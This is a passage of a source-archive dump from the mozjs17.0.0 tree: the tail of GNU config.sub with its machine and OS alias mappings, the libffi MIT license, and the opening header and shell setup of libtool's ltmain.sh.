frv-* | fx80-* \ | h8300-* | h8500-* \ | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ | i*86-* | i860-* | i960-* | ia64-* \ | ip2k-* | iq2000-* \ | lm32-* \ | m32c-* | m32r-* | m32rle-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ | m88110-* | m88k-* | maxq-* | mcore-* | metag-* | microblaze-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ | mips64octeon-* | mips64octeonel-* \ | mips64orion-* | mips64orionel-* \ | mips64r5900-* | mips64r5900el-* \ | mips64vr-* | mips64vrel-* \ | mips64vr4100-* | mips64vr4100el-* \ | mips64vr4300-* | mips64vr4300el-* \ | mips64vr5000-* | mips64vr5000el-* \ | mips64vr5900-* | mips64vr5900el-* \ | mipsisa32-* | mipsisa32el-* \ | mipsisa32r2-* | mipsisa32r2el-* \ | mipsisa64-* | mipsisa64el-* \ | mipsisa64r2-* | mipsisa64r2el-* \ | mipsisa64sb1-* | mipsisa64sb1el-* \ | mipsisa64sr71k-* | mipsisa64sr71kel-* \ | mipstx39-* | mipstx39el-* \ | mmix-* \ | mt-* \ | msp430-* \ | nios-* | nios2-* \ | none-* | np1-* | ns16k-* | ns32k-* \ | orion-* \ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ | pyramid-* \ | romp-* | rs6000-* \ | sh-* | sh[1234]-* | sh[24]a-* | sh[24]aeb-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ | sparc-* | sparc64-* | sparc64b-* | sparc64v-* | sparc86x-* | sparclet-* \ | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | sparcv9v-* | strongarm-* | sv1-* | sx?-* \ | tahoe-* | thumb-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* | tile-* \ | tron-* \ | v850-* | v850e-* | vax-* \ | we32k-* \ | x86-* | x86_64-* | xc16x-* | xps100-* | xscale-* | xscalee[bl]-* \ | xstormy16-* | xtensa*-* \ | ymp-* \ | z8k-* | z80-*) ;; # Recognize the basic CPU types without company name, with glob match. xtensa*) basic_machine=$basic_machine-unknown ;; # Recognize the various machine names and aliases which stand # for a CPU type and a company and sometimes even an OS. 386bsd) basic_machine=i386-unknown os=-bsd ;; 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) basic_machine=m68000-att ;; 3b*) basic_machine=we32k-att ;; a29khif) basic_machine=a29k-amd os=-udi ;; abacus) basic_machine=abacus-unknown ;; adobe68k) basic_machine=m68010-adobe os=-scout ;; alliant | fx80) basic_machine=fx80-alliant ;; altos | altos3068) basic_machine=m68k-altos ;; am29k) basic_machine=a29k-none os=-bsd ;; amd64) basic_machine=x86_64-pc ;; amd64-*) basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; amdahl) basic_machine=580-amdahl os=-sysv ;; amiga | amiga-*) basic_machine=m68k-unknown ;; amigaos | amigados) basic_machine=m68k-unknown os=-amigaos ;; amigaunix | amix) basic_machine=m68k-unknown os=-sysv4 ;; apollo68) basic_machine=m68k-apollo os=-sysv ;; apollo68bsd) basic_machine=m68k-apollo os=-bsd ;; aros) basic_machine=i386-pc os=-aros ;; aux) basic_machine=m68k-apple os=-aux ;; balance) basic_machine=ns32k-sequent os=-dynix ;; blackfin) basic_machine=bfin-unknown os=-linux ;; blackfin-*) basic_machine=bfin-`echo $basic_machine | sed 's/^[^-]*-//'` os=-linux ;; bluegene*) basic_machine=powerpc-ibm os=-cnk ;; c90) basic_machine=c90-cray os=-unicos ;; cegcc) basic_machine=arm-unknown os=-cegcc ;; convex-c1) basic_machine=c1-convex os=-bsd ;; convex-c2) basic_machine=c2-convex os=-bsd ;; convex-c32) basic_machine=c32-convex os=-bsd ;; convex-c34) basic_machine=c34-convex os=-bsd ;; convex-c38) basic_machine=c38-convex os=-bsd ;; cray | j90) basic_machine=j90-cray os=-unicos ;; craynv) basic_machine=craynv-cray os=-unicosmp ;; cr16) basic_machine=cr16-unknown os=-elf ;; crds | unos) basic_machine=m68k-crds ;; crisv32 | crisv32-* | etraxfs*) basic_machine=crisv32-axis ;; cris | cris-* | etrax*) basic_machine=cris-axis ;; crx) basic_machine=crx-unknown os=-elf ;; da30 | da30-*) basic_machine=m68k-da30 ;; decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) basic_machine=mips-dec ;; decsystem10* | dec10*) basic_machine=pdp10-dec os=-tops10 ;; decsystem20* | dec20*) basic_machine=pdp10-dec os=-tops20 ;; delta | 3300 | motorola-3300 | motorola-delta \ | 3300-motorola | delta-motorola) basic_machine=m68k-motorola ;; delta88) basic_machine=m88k-motorola os=-sysv3 ;; dicos) basic_machine=i686-pc os=-dicos ;; djgpp) basic_machine=i586-pc os=-msdosdjgpp ;; dpx20 | dpx20-*) basic_machine=rs6000-bull os=-bosx ;; dpx2* | dpx2*-bull) basic_machine=m68k-bull os=-sysv3 ;; ebmon29k) basic_machine=a29k-amd os=-ebmon ;; elxsi) basic_machine=elxsi-elxsi os=-bsd ;; encore | umax | mmax) basic_machine=ns32k-encore ;; es1800 | OSE68k | ose68k | ose | OSE) basic_machine=m68k-ericsson os=-ose ;; fx2800) basic_machine=i860-alliant ;; genix) basic_machine=ns32k-ns ;; gmicro) basic_machine=tron-gmicro os=-sysv ;; go32) basic_machine=i386-pc os=-go32 ;; h3050r* | hiux*) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; h8300hms) basic_machine=h8300-hitachi os=-hms ;; h8300xray) basic_machine=h8300-hitachi os=-xray ;; h8500hms) basic_machine=h8500-hitachi os=-hms ;; harris) basic_machine=m88k-harris os=-sysv3 ;; hp300-*) basic_machine=m68k-hp ;; hp300bsd) basic_machine=m68k-hp os=-bsd ;; hp300hpux) basic_machine=m68k-hp os=-hpux ;; hp3k9[0-9][0-9] | hp9[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k2[0-9][0-9] | hp9k31[0-9]) basic_machine=m68000-hp ;; hp9k3[2-9][0-9]) basic_machine=m68k-hp ;; hp9k6[0-9][0-9] | hp6[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k7[0-79][0-9] | hp7[0-79][0-9]) basic_machine=hppa1.1-hp ;; hp9k78[0-9] | hp78[0-9]) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[0-9][13679] | hp8[0-9][13679]) basic_machine=hppa1.1-hp ;; hp9k8[0-9][0-9] | hp8[0-9][0-9]) basic_machine=hppa1.0-hp ;; hppa-next) os=-nextstep3 ;; hppaosf) basic_machine=hppa1.1-hp os=-osf ;; hppro) basic_machine=hppa1.1-hp os=-proelf ;; i370-ibm* | ibm*) basic_machine=i370-ibm ;; # I'm not sure what "Sysv32" means. Should this be sysv3.2? i*86v32) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv32 ;; i*86v4*) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv4 ;; i*86v) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv ;; i*86sol2) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-solaris2 ;; i386mach) basic_machine=i386-mach os=-mach ;; i386-vsta | vsta) basic_machine=i386-unknown os=-vsta ;; iris | iris4d) basic_machine=mips-sgi case $os in -irix*) ;; *) os=-irix4 ;; esac ;; isi68 | isi) basic_machine=m68k-isi os=-sysv ;; m68knommu) basic_machine=m68k-unknown os=-linux ;; m68knommu-*) basic_machine=m68k-`echo $basic_machine | sed 's/^[^-]*-//'` os=-linux ;; m88k-omron*) basic_machine=m88k-omron ;; magnum | m3230) basic_machine=mips-mips os=-sysv ;; merlin) basic_machine=ns32k-utek os=-sysv ;; microblaze) basic_machine=microblaze-xilinx ;; mingw32) basic_machine=i386-pc os=-mingw32 ;; mingw32ce) basic_machine=arm-unknown os=-mingw32ce ;; miniframe) basic_machine=m68000-convergent ;; *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) basic_machine=m68k-atari os=-mint ;; mips3*-*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` ;; mips3*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown ;; monitor) basic_machine=m68k-rom68k os=-coff ;; morphos) basic_machine=powerpc-unknown os=-morphos ;; msdos) basic_machine=i386-pc os=-msdos ;; ms1-*) basic_machine=`echo $basic_machine | sed -e 's/ms1-/mt-/'` ;; mvs) basic_machine=i370-ibm os=-mvs ;; ncr3000) basic_machine=i486-ncr os=-sysv4 ;; netbsd386) basic_machine=i386-unknown os=-netbsd ;; netwinder) basic_machine=armv4l-rebel os=-linux ;; news | news700 | news800 | news900) basic_machine=m68k-sony os=-newsos ;; news1000) basic_machine=m68030-sony os=-newsos ;; news-3600 | risc-news) basic_machine=mips-sony os=-newsos ;; necv70) basic_machine=v70-nec os=-sysv ;; next | m*-next ) basic_machine=m68k-next case $os in -nextstep* ) ;; -ns2*) os=-nextstep2 ;; *) os=-nextstep3 ;; esac ;; nh3000) basic_machine=m68k-harris os=-cxux ;; nh[45]000) basic_machine=m88k-harris os=-cxux ;; nindy960) basic_machine=i960-intel os=-nindy ;; mon960) basic_machine=i960-intel os=-mon960 ;; nonstopux) basic_machine=mips-compaq os=-nonstopux ;; np1) basic_machine=np1-gould ;; nsr-tandem) basic_machine=nsr-tandem ;; op50n-* | op60c-*) basic_machine=hppa1.1-oki os=-proelf ;; openrisc | openrisc-*) basic_machine=or32-unknown ;; os400) basic_machine=powerpc-ibm os=-os400 ;; OSE68000 | ose68000) basic_machine=m68000-ericsson os=-ose ;; os68k) basic_machine=m68k-none os=-os68k ;; pa-hitachi) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; paragon) basic_machine=i860-intel os=-osf ;; parisc) basic_machine=hppa-unknown os=-linux ;; parisc-*) basic_machine=hppa-`echo $basic_machine | sed 's/^[^-]*-//'` os=-linux ;; pbd) basic_machine=sparc-tti ;; pbb) basic_machine=m68k-tti ;; pc532 | pc532-*) basic_machine=ns32k-pc532 ;; pc98) basic_machine=i386-pc ;; pc98-*) basic_machine=i386-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentium | p5 | k5 | k6 | nexgen | viac3) basic_machine=i586-pc ;; pentiumpro | p6 | 6x86 | athlon | athlon_*) basic_machine=i686-pc ;; pentiumii | pentium2 | pentiumiii | pentium3) basic_machine=i686-pc ;; pentium4) basic_machine=i786-pc ;; pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumpro-* | p6-* | 6x86-* | athlon-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentium4-*) basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pn) basic_machine=pn-gould ;; power) basic_machine=power-ibm ;; ppc) basic_machine=powerpc-unknown ;; ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppcle | powerpclittle | ppc-le | powerpc-little) basic_machine=powerpcle-unknown ;; ppcle-* | powerpclittle-*) basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64) basic_machine=powerpc64-unknown ;; ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64le | powerpc64little | ppc64-le | powerpc64-little) basic_machine=powerpc64le-unknown ;; ppc64le-* | powerpc64little-*) basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ps2) basic_machine=i386-ibm ;; pw32) basic_machine=i586-unknown os=-pw32 ;; rdos) basic_machine=i386-pc os=-rdos ;; rom68k) basic_machine=m68k-rom68k os=-coff ;; rm[46]00) basic_machine=mips-siemens ;; rtpc | rtpc-*) basic_machine=romp-ibm ;; s390 | s390-*) basic_machine=s390-ibm ;; s390x | s390x-*) basic_machine=s390x-ibm ;; sa29200) basic_machine=a29k-amd os=-udi ;; sb1) basic_machine=mipsisa64sb1-unknown ;; sb1el) basic_machine=mipsisa64sb1el-unknown ;; sde) basic_machine=mipsisa32-sde os=-elf ;; sei) basic_machine=mips-sei os=-seiux ;; sequent) basic_machine=i386-sequent ;; sh) basic_machine=sh-hitachi os=-hms ;; sh5el) basic_machine=sh5le-unknown ;; sh64) basic_machine=sh64-unknown ;; sparclite-wrs | simso-wrs) basic_machine=sparclite-wrs os=-vxworks ;; sps7) basic_machine=m68k-bull os=-sysv2 ;; spur) basic_machine=spur-unknown ;; st2000) basic_machine=m68k-tandem ;; stratus) basic_machine=i860-stratus os=-sysv4 ;; sun2) basic_machine=m68000-sun ;; sun2os3) basic_machine=m68000-sun os=-sunos3 ;; sun2os4) basic_machine=m68000-sun os=-sunos4 ;; sun3os3) basic_machine=m68k-sun os=-sunos3 ;; sun3os4) basic_machine=m68k-sun os=-sunos4 ;; sun4os3) basic_machine=sparc-sun os=-sunos3 ;; sun4os4) basic_machine=sparc-sun os=-sunos4 ;; sun4sol2) basic_machine=sparc-sun os=-solaris2 ;; sun3 | sun3-*) basic_machine=m68k-sun ;; sun4) basic_machine=sparc-sun ;; sun386 | sun386i | roadrunner) basic_machine=i386-sun ;; sv1) basic_machine=sv1-cray os=-unicos ;; symmetry) basic_machine=i386-sequent os=-dynix ;; t3e) basic_machine=alphaev5-cray os=-unicos ;; t90) basic_machine=t90-cray os=-unicos ;; tic54x | c54x*) basic_machine=tic54x-unknown os=-coff ;; tic55x | c55x*) basic_machine=tic55x-unknown os=-coff ;; tic6x | c6x*) basic_machine=tic6x-unknown os=-coff ;; tile*) basic_machine=tile-unknown os=-linux-gnu ;; tx39) basic_machine=mipstx39-unknown ;; tx39el) basic_machine=mipstx39el-unknown ;; toad1) basic_machine=pdp10-xkl os=-tops20 ;; tower | tower-32) basic_machine=m68k-ncr ;; tpf) basic_machine=s390x-ibm os=-tpf ;; udi29k) basic_machine=a29k-amd os=-udi ;; ultra3) basic_machine=a29k-nyu os=-sym1 ;; v810 | necv810) basic_machine=v810-nec os=-none ;; vaxv) basic_machine=vax-dec os=-sysv ;; vms) basic_machine=vax-dec os=-vms ;; vpp*|vx|vx-*) basic_machine=f301-fujitsu ;; vxworks960) basic_machine=i960-wrs os=-vxworks ;; vxworks68) basic_machine=m68k-wrs os=-vxworks ;; vxworks29k) basic_machine=a29k-wrs os=-vxworks ;; w65*) basic_machine=w65-wdc os=-none ;; w89k-*) basic_machine=hppa1.1-winbond os=-proelf ;; xbox) basic_machine=i686-pc os=-mingw32 ;; xps | xps100) basic_machine=xps100-honeywell ;; ymp) basic_machine=ymp-cray os=-unicos ;; z8k-*-coff) basic_machine=z8k-unknown os=-sim ;; z80-*-coff) basic_machine=z80-unknown os=-sim ;; none) basic_machine=none-none os=-none ;; # Here we handle the default manufacturer of certain CPU types. It is in # some cases the only manufacturer, in others, it is the most popular. w89k) basic_machine=hppa1.1-winbond ;; op50n) basic_machine=hppa1.1-oki ;; op60c) basic_machine=hppa1.1-oki ;; romp) basic_machine=romp-ibm ;; mmix) basic_machine=mmix-knuth ;; rs6000) basic_machine=rs6000-ibm ;; vax) basic_machine=vax-dec ;; pdp10) # there are many clones, so DEC is not a safe bet basic_machine=pdp10-unknown ;; pdp11) basic_machine=pdp11-dec ;; we32k) basic_machine=we32k-att ;; sh[1234] | sh[24]a | sh[24]aeb | sh[34]eb | sh[1234]le | sh[23]ele) basic_machine=sh-unknown ;; sparc | sparcv8 | sparcv9 | sparcv9b | sparcv9v) basic_machine=sparc-sun ;; cydra) basic_machine=cydra-cydrome ;; orion) basic_machine=orion-highlevel ;; orion105) basic_machine=clipper-highlevel ;; mac | mpw | mac-mpw) basic_machine=m68k-apple ;; pmac | pmac-mpw) basic_machine=powerpc-apple ;; *-unknown) # Make sure to match an already-canonicalized machine name. ;; *) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; esac # Here we canonicalize certain aliases for manufacturers. case $basic_machine in *-digital*) basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` ;; *-commodore*) basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` ;; *) ;; esac # Decode manufacturer-specific aliases for certain operating systems. if [ x"$os" != x"" ] then case $os in # First match some system type aliases # that might get confused with valid system types. # -solaris* is a basic system type, with this one exception. -solaris1 | -solaris1.*) os=`echo $os | sed -e 's|solaris1|sunos4|'` ;; -solaris) os=-solaris2 ;; -svr4*) os=-sysv4 ;; -unixware*) os=-sysv4.2uw ;; -gnu/linux*) os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` ;; # First accept the basic system types. # The portable systems comes first. # Each alternative MUST END IN A *, to match a version number. # -sysv* is not here because it comes later, after sysvr4. -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ | -*vms* | -sco* | -esix* | -isc* | -aix* | -cnk* | -sunos | -sunos[34]*\ | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ | -kopensolaris* \ | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ | -aos* | -aros* \ | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* \ | -openbsd* | -solidbsd* \ | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ | -chorusos* | -chorusrdb* | -cegcc* \ | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ | -mingw32* | -linux-gnu* | -linux-newlib* | -linux-uclibc* \ | -uxpv* | -beos* | -mpeix* | -udk* \ | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \ | -skyos* | -haiku* | -rdos* | -toppers* | -drops* | -winmo*) # Remember, each alternative MUST END IN *, to match a version number. ;; -qnx*) case $basic_machine in x86-* | i*86-*) ;; *) os=-nto$os ;; esac ;; -nto-qnx*) ;; -nto*) os=`echo $os | sed -e 's|nto|nto-qnx|'` ;; -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ | -windows* | -osx | -abug | -netware* | -os9* | -beos* | -haiku* \ | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) ;; -mac*) os=`echo $os | sed -e 's|mac|macos|'` ;; -linux-dietlibc) os=-linux-dietlibc ;; -linux*) os=`echo $os | sed -e 's|linux|linux-gnu|'` ;; -sunos5*) os=`echo $os | sed -e 's|sunos5|solaris2|'` ;; -sunos6*) os=`echo $os | sed -e 's|sunos6|solaris3|'` ;; -opened*) os=-openedition ;; -os400*) os=-os400 ;; -wince-winmo*) os=-wince-winmo ;; -wince*) os=-wince ;; -osfrose*) os=-osfrose ;; -osf*) os=-osf ;; -utek*) os=-bsd ;; -dynix*) os=-bsd ;; -acis*) os=-aos ;; -atheos*) os=-atheos ;; -syllable*) os=-syllable ;; -386bsd) os=-bsd ;; -ctix* | -uts*) os=-sysv ;; -nova*) os=-rtmk-nova ;; -ns2 ) os=-nextstep2 ;; -nsk*) os=-nsk ;; # Preserve the version number of sinix5. -sinix5.*) os=`echo $os | sed -e 's|sinix|sysv|'` ;; -sinix*) os=-sysv4 ;; -tpf*) os=-tpf ;; -triton*) os=-sysv3 ;; -oss*) os=-sysv3 ;; -svr4) os=-sysv4 ;; -svr3) os=-sysv3 ;; -sysvr4) os=-sysv4 ;; # This must come after -sysvr4. -sysv*) ;; -ose*) os=-ose ;; -es1800*) os=-ose ;; -xenix) os=-xenix ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) os=-mint ;; -aros*) os=-aros ;; -kaos*) os=-kaos ;; -zvmoe) os=-zvmoe ;; -dicos*) os=-dicos ;; -android*) os=-android ;; -none) ;; *) # Get rid of the `-' at the beginning of $os. os=`echo $os | sed 's/[^-]*-//'` echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 exit 1 ;; esac else # Here we handle the default operating systems that come with various machines. # The value should be what the vendor currently ships out the door with their # machine or put another way, the most popular os provided with the machine. # Note that if you're going to try to match "-MANUFACTURER" here (say, # "-sun"), then you have to tell the case statement up towards the top # that MANUFACTURER isn't an operating system. Otherwise, code above # will signal an error saying that MANUFACTURER isn't an operating # system, and we'll never get to this point. case $basic_machine in score-*) os=-elf ;; spu-*) os=-elf ;; *-acorn) os=-riscix1.2 ;; arm*-rebel) os=-linux ;; arm*-semi) os=-aout ;; c4x-* | tic4x-*) os=-coff ;; # This must come before the *-dec entry. pdp10-*) os=-tops20 ;; pdp11-*) os=-none ;; *-dec | vax-*) os=-ultrix4.2 ;; m68*-apollo) os=-domain ;; i386-sun) os=-sunos4.0.2 ;; m68000-sun) os=-sunos3 # This also exists in the configure program, but was not the # default. # os=-sunos4 ;; m68*-cisco) os=-aout ;; mep-*) os=-elf ;; mips*-cisco) os=-elf ;; mips*-*) os=-elf ;; or32-*) os=-coff ;; *-tti) # must be before sparc entry or we get the wrong os. os=-sysv3 ;; sparc-* | *-sun) os=-sunos4.1.1 ;; *-be) os=-beos ;; *-haiku) os=-haiku ;; *-ibm) os=-aix ;; *-knuth) os=-mmixware ;; *-wec) os=-proelf ;; *-winbond) os=-proelf ;; *-oki) os=-proelf ;; *-hp) os=-hpux ;; *-hitachi) os=-hiux ;; i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) os=-sysv ;; *-cbm) os=-amigaos ;; *-dg) os=-dgux ;; *-dolphin) os=-sysv3 ;; m68k-ccur) os=-rtu ;; m88k-omron*) os=-luna ;; *-next ) os=-nextstep ;; *-sequent) os=-ptx ;; *-crds) os=-unos ;; *-ns) os=-genix ;; i370-*) os=-mvs ;; *-next) os=-nextstep3 ;; *-gould) os=-sysv ;; *-highlevel) os=-bsd ;; *-encore) os=-bsd ;; *-sgi) os=-irix ;; *-siemens) os=-sysv4 ;; *-masscomp) os=-rtu ;; f30[01]-fujitsu | f700-fujitsu) os=-uxpv ;; *-rom68k) os=-coff ;; *-*bug) os=-coff ;; *-apple) os=-macos ;; *-atari*) os=-mint ;; *) os=-none ;; esac fi # Here we handle the case where we know the os, and the CPU type, but not the # manufacturer. We pick the logical manufacturer. vendor=unknown case $basic_machine in *-unknown) case $os in -riscix*) vendor=acorn ;; -sunos*) vendor=sun ;; -cnk*|-aix*) vendor=ibm ;; -beos*) vendor=be ;; -hpux*) vendor=hp ;; -mpeix*) vendor=hp ;; -hiux*) vendor=hitachi ;; -unos*) vendor=crds ;; -dgux*) vendor=dg ;; -luna*) vendor=omron ;; -genix*) vendor=ns ;; -mvs* | -opened*) vendor=ibm ;; -os400*) vendor=ibm ;; -ptx*) vendor=sequent ;; -tpf*) vendor=ibm ;; -vxsim* | -vxworks* | -windiss*) vendor=wrs ;; -aux*) vendor=apple ;; -hms*) vendor=hitachi ;; -mpw* | -macos*) vendor=apple ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) vendor=atari ;; -vos*) vendor=stratus ;; *-android*|*-linuxandroid*) vendor=linux- ;; esac basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` ;; esac echo $basic_machine$os exit # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: mozjs17.0.0/js/src/ctypes/libffi/LICENSE0000664000175000017500000000215612106270662017556 0ustar sstanglsstangllibffi - Copyright (c) 1996-2009 Anthony Green, Red Hat, Inc and others. See source files for details. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. mozjs17.0.0/js/src/ctypes/libffi/ltmain.sh0000775000175000017500000073306012106270662020401 0ustar sstanglsstangl# Generated from ltmain.m4sh. # ltmain.sh (GNU libtool) 2.2.6b # Written by Gordon Matzigkeit , 1996 # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, 2006, 2007 2008 Free Software Foundation, Inc. # This is free software; see the source for copying conditions. There is NO # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # GNU Libtool is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # As a special exception to the GNU General Public License, # if you distribute this file as part of a program or library that # is built using GNU Libtool, you may include this file under the # same distribution terms that you use for the rest of that program. # # GNU Libtool is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Libtool; see the file COPYING. If not, a copy # can be downloaded from http://www.gnu.org/licenses/gpl.html, # or obtained by writing to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # Usage: $progname [OPTION]... [MODE-ARG]... # # Provide generalized library-building support services. # # --config show all configuration variables # --debug enable verbose shell tracing # -n, --dry-run display commands without modifying any files # --features display basic configuration information and exit # --mode=MODE use operation mode MODE # --preserve-dup-deps don't remove duplicate dependency libraries # --quiet, --silent don't print informational messages # --tag=TAG use configuration variables from tag TAG # -v, --verbose print informational messages (default) # --version print version information # -h, --help print short or long help message # # MODE must be one of the following: # # clean remove files from the build directory # compile compile a source file into a libtool object # execute automatically set library path, then run a program # finish complete the installation of libtool libraries # install install libraries or executables # link create a library or an executable # uninstall remove libraries from an installed directory # # MODE-ARGS vary depending on the MODE. # Try `$progname --help --mode=MODE' for a more detailed description of MODE. # # When reporting a bug, please describe a test case to reproduce it and # include the following information: # # host-triplet: $host # shell: $SHELL # compiler: $LTCC # compiler flags: $LTCFLAGS # linker: $LD (gnu? $with_gnu_ld) # $progname: (GNU libtool) 2.2.6b # automake: $automake_version # autoconf: $autoconf_version # # Report bugs to . PROGRAM=ltmain.sh PACKAGE=libtool VERSION=2.2.6b TIMESTAMP="" package_revision=1.3017 # Be Bourne compatible if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then emulate sh NULLCMD=: # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in *posix*) set -o posix;; esac fi BIN_SH=xpg4; export BIN_SH # for Tru64 DUALCASE=1; export DUALCASE # for MKS sh # NLS nuisances: We save the old values to restore during execute mode. # Only set LANG and LC_ALL to C if already set. # These must not be set unconditionally because not all systems understand # e.g. LANG=C (notably SCO). lt_user_locale= lt_safe_locale= for lt_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES do eval "if test \"\${$lt_var+set}\" = set; then save_$lt_var=\$$lt_var $lt_var=C export $lt_var lt_user_locale=\"$lt_var=\\\$save_\$lt_var; \$lt_user_locale\" lt_safe_locale=\"$lt_var=C; \$lt_safe_locale\" fi" done $lt_unset CDPATH : ${CP="cp -f"} : ${ECHO="echo"} : ${EGREP="/bin/grep -E"} : ${FGREP="/bin/grep -F"} : ${GREP="/bin/grep"} : ${LN_S="ln -s"} : ${MAKE="make"} : ${MKDIR="mkdir"} : ${MV="mv -f"} : ${RM="rm -f"} : ${SED="/bin/sed"} : ${SHELL="${CONFIG_SHELL-/bin/sh}"} : ${Xsed="$SED -e 1s/^X//"} # Global variables: EXIT_SUCCESS=0 EXIT_FAILURE=1 EXIT_MISMATCH=63 # $? = 63 is used to indicate version mismatch to missing. EXIT_SKIP=77 # $? = 77 is used to indicate a skipped test to automake. exit_status=$EXIT_SUCCESS # Make sure IFS has a sensible default lt_nl=' ' IFS=" $lt_nl" 